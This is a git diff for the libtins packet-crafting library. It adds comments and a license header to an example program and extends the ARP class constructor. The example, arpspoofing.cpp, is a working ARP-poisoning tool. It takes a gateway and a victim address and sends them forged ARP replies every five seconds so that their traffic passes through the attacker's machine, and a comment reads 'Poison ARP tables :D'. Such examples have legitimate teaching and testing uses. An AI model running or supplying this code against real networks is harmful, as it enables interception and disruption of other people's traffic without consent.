diff --git a/examples/arpspoofing.cpp b/examples/arpspoofing.cpp index 667fcff..d013a46 100644 --- a/examples/arpspoofing.cpp +++ b/examples/arpspoofing.cpp @@ -1,3 +1,25 @@ +/* + * libtins is a net packet wrapper library for crafting and + * interpreting sniffed packets. + * + * Copyright (C) 2011 Nasel + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + + #include #include #include @@ -13,37 +35,40 @@ using namespace Tins; int do_arp_spoofing(uint32_t iface, const string &iface_name, uint32_t gw, uint32_t victim, uint32_t own_ip, uint8_t *own_hw) { PacketSender sender; uint8_t gw_hw[6], victim_hw[6]; + + // Resolves gateway's hardware address. if(!Utils::resolve_hwaddr(iface_name, gw, gw_hw, &sender)) { cout << "Could not resolve gateway's ip address.\n"; return 5; } + + // Resolves victim's hardware address. if(!Utils::resolve_hwaddr(iface_name, victim, victim_hw, &sender)) { cout << "Could not resolve victim's ip address.\n"; return 6; } - cout << "Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n"; - cout << "Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n"; - cout << "Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n"; + cout << " Using gateway hw address: " << Utils::hwaddr_to_string(gw_hw) << "\n"; + cout << " Using victim hw address: " << Utils::hwaddr_to_string(victim_hw) << "\n"; + cout << " Using own hw address: " << Utils::hwaddr_to_string(own_hw) << "\n"; - - ARP *gw_arp = new ARP(), *victim_arp = new ARP(); - gw_arp->sender_hw_addr(own_hw); - gw_arp->target_hw_addr(gw_hw); - gw_arp->sender_ip_addr(victim); - gw_arp->target_ip_addr(gw); + /* We tell the gateway that the victim is at out hw address, + * and tell the victim that the gateway is at out hw address */ + ARP *gw_arp = new ARP(gw, victim, gw_hw, own_hw), + *victim_arp = new ARP(victim, gw, victim_hw, own_hw); + // We are "replying" ARP requests gw_arp->opcode(ARP::REPLY); - - victim_arp->sender_hw_addr(own_hw); - victim_arp->target_hw_addr(victim_hw); - victim_arp->sender_ip_addr(gw); - victim_arp->target_ip_addr(victim); victim_arp->opcode(ARP::REPLY); + /* The packet we'll send to the gateway and victim. + * We include ut hw address as the source address + * in ethernet layer, to avoid possible packet dropping + * performed by any routers. */ EthernetII to_gw(iface, gw_hw, own_hw, gw_arp); EthernetII to_victim(iface, victim_hw, own_hw, victim_arp); while(true) { - sender.send(&to_gw); - sender.send(&to_victim); + // Just send them once every 5 seconds. + if(!sender.send(&to_gw) || !sender.send(&to_victim)) + return 7; sleep(5); } } @@ -53,8 +78,10 @@ int main(int argc, char *argv[]) { return 1; uint32_t gw, victim, own_ip; uint8_t own_hw[6]; + // By default, eth0 is used. string iface("eth0"); try { + // Convert dotted-notation ip addresses to integer. gw = Utils::ip_to_int(argv[1]); victim = Utils::ip_to_int(argv[2]); } @@ -66,14 +93,15 @@ int main(int argc, char *argv[]) { iface = argv[3]; uint32_t iface_index; + // Lookup the interface id. This will be required while forging packets. if(!Utils::interface_id(iface, iface_index) && cout << "Interface " << iface << " does not exist!\n") return 3; + // Find the interface hardware and ip address. if(!Utils::interface_hwaddr(iface, own_hw) || !Utils::interface_ip(iface, own_ip)) { cout << "Error fetching addresses from " << iface << "\n"; return 4; } - - + // Poison ARP tables :D return do_arp_spoofing(iface_index, iface, gw, victim, own_ip, own_hw); } diff --git a/include/arp.h b/include/arp.h index 63fa64d..c7e3386 100644 --- a/include/arp.h +++ b/include/arp.h @@ -50,7 +50,7 @@ namespace Tins { * ARP requests and replies can be constructed easily using * ARP::make_arp_request/reply static functions. */ - ARP(); + ARP(uint32_t target_ip = 0, uint32_t sender_ip = 0, const uint8_t *target_hw = 0, const uint8_t *sender_hw = 0); /* Getters */ /** diff --git a/src/arp.cpp b/src/arp.cpp index 6c8d5d1..1f6f171 100644 --- a/src/arp.cpp +++ b/src/arp.cpp @@ -89,12 +89,18 @@ Tins::PDU* Tins::ARP::make_arp_reply(const string& iface, return eth; } -Tins::ARP::ARP() : PDU(0x0608) { +Tins::ARP::ARP(uint32_t target_ip, uint32_t sender_ip, const uint8_t *target_hw, const uint8_t *sender_hw) : PDU(0x0608) { std::memset(&_arp, 0, sizeof(arphdr)); - this->hw_addr_format(1); - this->prot_addr_format(0x0800); - this->hw_addr_length(6); - this->prot_addr_length(4); + hw_addr_format(1); + prot_addr_format(0x0800); + hw_addr_length(6); + prot_addr_length(4); + sender_ip_addr(sender_ip); + target_ip_addr(target_ip); + if(sender_hw) + sender_hw_addr(sender_hw); + if(target_hw) + target_hw_addr(target_hw); } Tins::ARP::ARP(arphdr *arp_ptr) : PDU(Utils::net_to_host_s(0x0806)) {